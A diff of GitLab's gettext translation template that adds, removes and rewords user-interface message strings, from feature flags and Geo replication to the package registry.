@@ -13783,9 +13940,6 @@ msgstr ""
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr ""
-
msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr ""
@@ -13801,7 +13955,7 @@ msgstr ""
msgid "FeatureFlags|User Lists"
msgstr ""
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -14052,6 +14206,15 @@ msgstr ""
msgid "Flags"
msgstr ""
+msgid "FloC|Configure whether you want to participate in FloC."
+msgstr ""
+
+msgid "FloC|Enable FloC (Federated Learning of Cohorts)"
+msgstr ""
+
+msgid "FloC|Federated Learning of Cohorts"
+msgstr ""
+
msgid "FlowdockService|1b609b52537..."
msgstr ""
@@ -14157,6 +14320,9 @@ msgstr ""
msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -14175,6 +14341,9 @@ msgstr ""
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14202,6 +14371,15 @@ msgstr ""
msgid "ForkProject|Want to house several dependent projects under the same namespace?"
msgstr ""
+msgid "ForkSuggestion|Cancel"
+msgstr ""
+
+msgid "ForkSuggestion|Fork"
+msgstr ""
+
+msgid "ForkSuggestion|You can’t %{edit_start}edit%{edit_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "ForkedFromProjectPath|Forked from"
msgstr ""
@@ -14469,6 +14647,9 @@ msgstr ""
msgid "Geo|%{component} synced"
msgstr ""
+msgid "Geo|%{component} verified"
+msgstr ""
+
msgid "Geo|%{itemTitle} checksum progress"
msgstr ""
@@ -14496,6 +14677,9 @@ msgstr ""
msgid "Geo|%{title} checksum progress"
msgstr ""
+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -14523,6 +14707,9 @@ msgstr ""
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr ""
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr ""
@@ -14547,6 +14734,9 @@ msgstr ""
msgid "Geo|Data type"
msgstr ""
+msgid "Geo|Disabled"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
@@ -14574,6 +14764,9 @@ msgstr ""
msgid "Geo|Go to the primary site"
msgstr ""
+msgid "Geo|Healthy"
+msgstr ""
+
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr ""
@@ -14619,6 +14812,9 @@ msgstr ""
msgid "Geo|Next sync scheduled at"
msgstr ""
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr ""
@@ -14631,10 +14827,16 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
+msgstr ""
+
+msgid "Geo|Offline"
msgstr ""
msgid "Geo|Pending synchronization"
@@ -14799,6 +15001,12 @@ msgstr ""
msgid "Geo|Undefined"
msgstr ""
+msgid "Geo|Unhealthy"
+msgstr ""
+
+msgid "Geo|Unknown"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr ""
@@ -14811,10 +15019,13 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verification information"
+msgstr ""
+
msgid "Geo|Verification status"
msgstr ""
-msgid "Geo|Verificaton information"
+msgid "Geo|Verified"
msgstr ""
msgid "Geo|Waiting for scheduler"
@@ -15060,9 +15271,6 @@ msgstr ""
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr ""
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr ""
@@ -15159,16 +15367,19 @@ msgstr ""
msgid "Gitpod"
msgstr ""
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr ""
-
msgid "Gitpod|Enable Gitpod integration"
msgstr ""
msgid "Gitpod|Gitpod URL"
msgstr ""
-msgid "Gitpod|e.g. https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
msgstr ""
msgid "Given access %{time_ago}"
@@ -15201,9 +15412,6 @@ msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to Webhooks"
-msgstr ""
-
msgid "Go to commits"
msgstr ""
@@ -15258,6 +15466,9 @@ msgstr ""
msgid "Go to previous page"
msgstr ""
+msgid "Go to primary node"
+msgstr ""
+
msgid "Go to project"
msgstr ""
@@ -15336,7 +15547,7 @@ msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15450,6 +15661,9 @@ msgstr ""
msgid "Group info:"
msgstr ""
+msgid "Group information"
+msgstr ""
+
msgid "Group is required when cluster_type is :group"
msgstr ""
@@ -15510,6 +15724,9 @@ msgstr ""
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr ""
@@ -15531,13 +15748,16 @@ msgstr ""
msgid "GroupActivityMetrics|Issues opened"
msgstr ""
+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
msgid "GroupActivityMetrics|Members added"
msgstr ""
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr ""
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
+msgid "GroupActivityMetrics|Recent activity"
msgstr ""
msgid "GroupImport|Failed to import group."
@@ -15600,6 +15820,9 @@ msgstr ""
msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
msgstr ""
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgstr ""
+
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr ""
@@ -15918,9 +16141,6 @@ msgstr ""
msgid "Groups and subgroups"
msgstr ""
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
-msgstr ""
-
msgid "Groups to synchronize"
msgstr ""
@@ -15957,22 +16177,31 @@ msgstr ""
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr ""
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
+msgstr ""
+
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
msgid "GroupsNew|Connect instance"
msgstr ""
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr ""
-msgid "GroupsNew|Create"
+msgid "GroupsNew|Create group"
+msgstr ""
+
+msgid "GroupsNew|Create new group"
msgstr ""
-msgid "GroupsNew|Create group"
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
msgstr ""
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
msgstr ""
msgid "GroupsNew|Import group"
@@ -16044,7 +16273,7 @@ msgstr ""
msgid "HAR (HTTP Archive)"
msgstr ""
-msgid "HAR file path"
+msgid "HAR file path or URL"
msgstr ""
msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
@@ -16059,6 +16288,9 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -16071,6 +16303,18 @@ msgstr ""
msgid "Header message"
msgstr ""
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16187,9 +16431,6 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
-msgid "Hide stage"
-msgstr ""
-
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16219,9 +16460,6 @@ msgstr ""
msgid "HighlightBar|Time to SLA:"
msgstr ""
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr ""
@@ -16306,9 +16544,24 @@ msgstr ""
msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
msgstr ""
+msgid "I want to explore GitLab to see if it’s worth switching to"
+msgstr ""
+
+msgid "I want to learn the basics of Git"
+msgstr ""
+
+msgid "I want to move my repository to GitLab from somewhere else"
+msgstr ""
+
+msgid "I want to use GitLab CI with my existing repository"
+msgstr ""
+
msgid "I'd like to receive updates about GitLab via email"
msgstr ""
+msgid "I'm signing up for GitLab because:"
+msgstr ""
+
msgid "ID"
msgstr ""
@@ -16318,9 +16571,6 @@ msgstr ""
msgid "IDE"
msgstr ""
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr ""
-
msgid "IDE|Back"
msgstr ""
@@ -16474,6 +16724,9 @@ msgstr ""
msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
msgstr ""
+msgid "If you've purchased or renewed your subscription and have an activation code, please enter it below to start the activation process."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -16720,6 +16973,9 @@ msgstr ""
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -16753,6 +17009,9 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
+msgstr ""
+
msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
@@ -16765,9 +17024,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
+msgstr ""
+
msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -16780,6 +17048,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -16906,6 +17177,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -16945,6 +17219,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -16960,10 +17237,10 @@ msgstr ""
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
msgstr ""
msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
@@ -16999,9 +17276,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -17077,6 +17363,9 @@ msgstr ""
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr ""
+msgid "IncidentManagement|Achieved SLA"
+msgstr ""
+
msgid "IncidentManagement|All"
msgstr ""
@@ -17116,6 +17405,9 @@ msgstr ""
msgid "IncidentManagement|Medium - S3"
msgstr ""
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -17155,6 +17447,9 @@ msgstr ""
msgid "IncidentSettings|Alert integration"
msgstr ""
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
+msgstr ""
+
msgid "IncidentSettings|Grafana integration"
msgstr ""
@@ -17170,9 +17465,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
-
msgid "IncidentSettings|Time limit"
msgstr ""
@@ -17302,7 +17594,7 @@ msgstr ""
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr ""
-msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
+msgid "Infrastructure"
msgstr ""
msgid "Infrastructure Registry"
@@ -17499,10 +17791,10 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
-msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
-msgid "Integrations|Includes commit title and branch"
+msgid "Integrations|Includes commit title and branch."
msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
@@ -17580,7 +17872,7 @@ msgstr ""
msgid "Integrations|Use default settings"
msgstr ""
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
+msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
@@ -17766,7 +18058,7 @@ msgstr ""
msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
msgstr ""
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
msgstr ""
msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
@@ -18000,6 +18292,9 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr ""
@@ -18069,12 +18364,6 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -18102,6 +18391,27 @@ msgstr ""
msgid "IssueTracker|Custom issue tracker"
msgstr ""
+msgid "IssueTracker|Issue URL"
+msgstr ""
+
+msgid "IssueTracker|New issue URL"
+msgstr ""
+
+msgid "IssueTracker|The URL to create an issue in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in YouTrack."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}."
+msgstr ""
+
msgid "IssueTracker|Use Bugzilla as this project's issue tracker."
msgstr ""
@@ -18147,6 +18457,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues manual ordering is temporarily disabled for technical reasons."
+msgstr ""
+
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -18249,6 +18562,9 @@ msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Error loading iteration cadences."
+msgstr ""
+
msgid "Iterations|Future iterations"
msgstr ""
@@ -18258,6 +18574,12 @@ msgstr ""
msgid "Iterations|New iteration cadence"
msgstr ""
+msgid "Iterations|No iteration cadences to show."
+msgstr ""
+
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
@@ -18291,13 +18613,13 @@ msgstr ""
msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not familiar with the basics of DevOps."
+msgid "I’m joining my team who’s already on GitLab"
msgstr ""
-msgid "Jaeger URL"
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
-msgid "Jaeger tracing"
+msgid "Jaeger URL"
msgstr ""
msgid "Jan"
@@ -18321,7 +18643,7 @@ msgstr ""
msgid "Jira integration not configured."
msgstr ""
-msgid "Jira project key is not configured"
+msgid "Jira project key is not configured."
msgstr ""
msgid "Jira project: %{importProject}"
@@ -18396,6 +18718,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18411,10 +18736,10 @@ msgstr ""
msgid "JiraService|Jira Issues"
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
msgstr ""
msgid "JiraService|Jira issue type"
@@ -18501,7 +18826,7 @@ msgstr ""
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr ""
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
+msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
msgstr ""
msgid "Job"
@@ -18549,6 +18874,18 @@ msgstr ""
msgid "Job was retried"
msgstr ""
+msgid "JobName|build-job"
+msgstr ""
+
+msgid "JobName|deploy-app"
+msgstr ""
+
+msgid "JobName|lint-test"
+msgstr ""
+
+msgid "JobName|unit-test"
+msgstr ""
+
msgid "Jobs"
msgstr ""
@@ -18564,6 +18901,9 @@ msgstr ""
msgid "Jobs|Create CI/CD configuration file"
msgstr ""
+msgid "Jobs|Job is stuck. Check runners."
+msgstr ""
+
msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
msgstr ""
@@ -18657,6 +18997,9 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
+msgid "Join your team"
+msgstr ""
+
msgid "Joined %{time_ago}"
msgstr ""
@@ -18690,6 +19033,9 @@ msgstr ""
msgid "KEY"
msgstr ""
+msgid "Keep"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -18717,9 +19063,30 @@ msgstr ""
msgid "Keyboard shortcuts"
msgstr ""
+msgid "KeyboardKey|Alt"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl"
+msgstr ""
+
msgid "KeyboardKey|Ctrl+"
msgstr ""
+msgid "KeyboardKey|Enter"
+msgstr ""
+
+msgid "KeyboardKey|Esc"
+msgstr ""
+
+msgid "KeyboardKey|Shift"
+msgstr ""
+
+msgid "KeyboardShortcuts|No shortcuts matched your search"
+msgstr ""
+
+msgid "KeyboardShortcuts|Search keyboard shortcuts"
+msgstr ""
+
msgid "Keys"
msgstr ""
@@ -18756,6 +19123,9 @@ msgstr ""
msgid "Kubernetes cluster was successfully updated."
msgstr ""
+msgid "Kubernetes clusters"
+msgstr ""
+
msgid "Kubernetes deployment not found"
msgstr ""
@@ -18998,18 +19368,12 @@ msgstr ""
msgid "Launch a ready-to-code development environment for your project."
msgstr ""
-msgid "Lead"
-msgstr ""
-
msgid "Lead Time"
msgstr ""
msgid "Lead time"
msgstr ""
-msgid "Learn CI/CD syntax"
-msgstr ""
-
msgid "Learn GitLab"
msgstr ""
@@ -19181,6 +19545,12 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Creating your onboarding experience..."
+msgstr ""
+
+msgid "LearnGitlab|Ok, let's go"
+msgstr ""
+
msgid "LearnGitlab|Trial only"
msgstr ""
@@ -19217,6 +19587,9 @@ msgstr ""
msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr ""
+msgid "Let's talk!"
+msgstr ""
+
msgid "License"
msgstr ""
@@ -19705,7 +20078,7 @@ msgstr ""
msgid "Manage"
msgstr ""
-msgid "Manage Web IDE features"
+msgid "Manage Web IDE features."
msgstr ""
msgid "Manage access"
@@ -19963,6 +20336,9 @@ msgstr ""
msgid "Maximum PyPI package file size in bytes"
msgstr ""
+msgid "Maximum Terraform Module package file size in bytes"
+msgstr ""
+
msgid "Maximum Users"
msgstr ""
@@ -20050,6 +20426,9 @@ msgstr ""
msgid "Maximum push size (MB)"
msgstr ""
+msgid "Maximum running slices"
+msgstr ""
+
msgid "Maximum size limit for a single commit."
msgstr ""
@@ -20245,6 +20624,9 @@ msgstr ""
msgid "Memory Usage"
msgstr ""
+msgid "Menu"
+msgstr ""
+
msgid "Merge"
msgstr ""
@@ -20296,9 +20678,6 @@ msgstr ""
msgid "Merge request"
msgstr ""
-msgid "Merge request %{iid} authored by %{authorName}"
-msgstr ""
-
msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
msgstr ""
@@ -20587,10 +20966,10 @@ msgstr ""
msgid "MetricsSettings|External dashboard URL"
msgstr ""
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgid "MetricsSettings|Manage metrics dashboard settings."
msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
+msgid "MetricsSettings|Metrics"
msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
@@ -20691,6 +21070,9 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
+msgid "Metrics|GitLab-managed Prometheus is deprecated and %{linkStart}scheduled for removal%{linkEnd}. Following this removal, your existing alerts will continue to function as part of the new cluster integration. However, you will no longer be able to add new alerts or edit existing alerts from the metrics dashboard."
+msgstr ""
+
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -20865,10 +21247,10 @@ msgstr ""
msgid "Middleman project with Static Site Editor support"
msgstr ""
-msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgid "Migrated %{success_count}/%{total_count} files."
msgstr ""
-msgid "Migrated %{success_count}/%{total_count} files."
+msgid "Migration"
msgstr ""
msgid "Migration has been scheduled to be retried"
@@ -21125,6 +21507,12 @@ msgstr ""
msgid "Monday"
msgstr ""
+msgid "Monitor"
+msgstr ""
+
+msgid "Monitor Settings"
+msgstr ""
+
msgid "Monitor your errors by integrating with Sentry."
msgstr ""
@@ -21257,6 +21645,9 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
+msgid "Must have a unique policy, status, and elapsed time"
+msgstr ""
+
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21284,6 +21675,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr ""
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -21451,9 +21845,6 @@ msgstr ""
msgid "NetworkPolicies|Edit policy"
msgstr ""
-msgid "NetworkPolicies|Editor mode"
-msgstr ""
-
msgid "NetworkPolicies|Enforcement status"
msgstr ""
@@ -21553,9 +21944,6 @@ msgstr ""
msgid "NetworkPolicies|Unable to parse policy"
msgstr ""
-msgid "NetworkPolicies|YAML editor"
-msgstr ""
-
msgid "NetworkPolicies|all DNS names"
msgstr ""
@@ -21903,7 +22291,7 @@ msgstr ""
msgid "No compliance frameworks are in use."
msgstr ""
-msgid "No compliance frameworks are in use. Create one using the GraphQL API."
+msgid "No compliance frameworks are in use. Create one from the %{link} section in Group Settings."
msgstr ""
msgid "No confirmation email received? Please check your spam folder or"
@@ -21930,6 +22318,9 @@ msgstr ""
msgid "No data to display"
msgstr ""
+msgid "No deployments detected. Use environments to control your software's continuous deployment. %{linkStart}Learn more about deployment jobs.%{linkEnd}"
+msgstr ""
+
msgid "No deployments found"
msgstr ""
@@ -22143,6 +22534,9 @@ msgstr ""
msgid "None of the group milestones have the same project as the release"
msgstr ""
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr ""
@@ -22469,6 +22863,9 @@ msgstr ""
msgid "Ok, let's go"
msgstr ""
+msgid "Okay"
+msgstr ""
+
msgid "Oldest first"
msgstr ""
@@ -22849,7 +23246,7 @@ msgstr ""
msgid "OpenAPI"
msgstr ""
-msgid "OpenAPI specification file path"
+msgid "OpenAPI Specification file path or URL"
msgstr ""
msgid "Opened"
@@ -22948,7 +23345,7 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
-msgid "Our documentation includes an example DevOps Score report."
+msgid "Our team has been notified. Please try again."
msgstr ""
msgid "Out-of-compliance with this project's policies and should be removed"
@@ -23014,6 +23411,9 @@ msgstr ""
msgid "Package type must be Debian"
msgstr ""
+msgid "Package type must be Helm"
+msgstr ""
+
msgid "Package type must be Maven"
msgstr ""
@@ -23041,6 +23441,9 @@ msgstr ""
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
@@ -23083,6 +23486,9 @@ msgstr ""
msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -23104,6 +23510,9 @@ msgstr ""
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -23155,9 +23564,18 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL"
+msgstr ""
+
msgid "PackageRegistry|Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Gradle Kotlin DSL"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -23167,6 +23585,9 @@ msgstr ""
msgid "PackageRegistry|Install package version"
msgstr ""
+msgid "PackageRegistry|Invalid Package: failed metadata extraction"
+msgstr ""
+
msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
msgstr ""
@@ -23182,6 +23603,9 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -23227,6 +23651,9 @@ msgstr ""
msgid "PackageRegistry|RubyGems"
msgstr ""
+msgid "PackageRegistry|Settings for Generic packages"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -23239,12 +23666,6 @@ msgstr ""
msgid "PackageRegistry|Show Conan commands"
msgstr ""
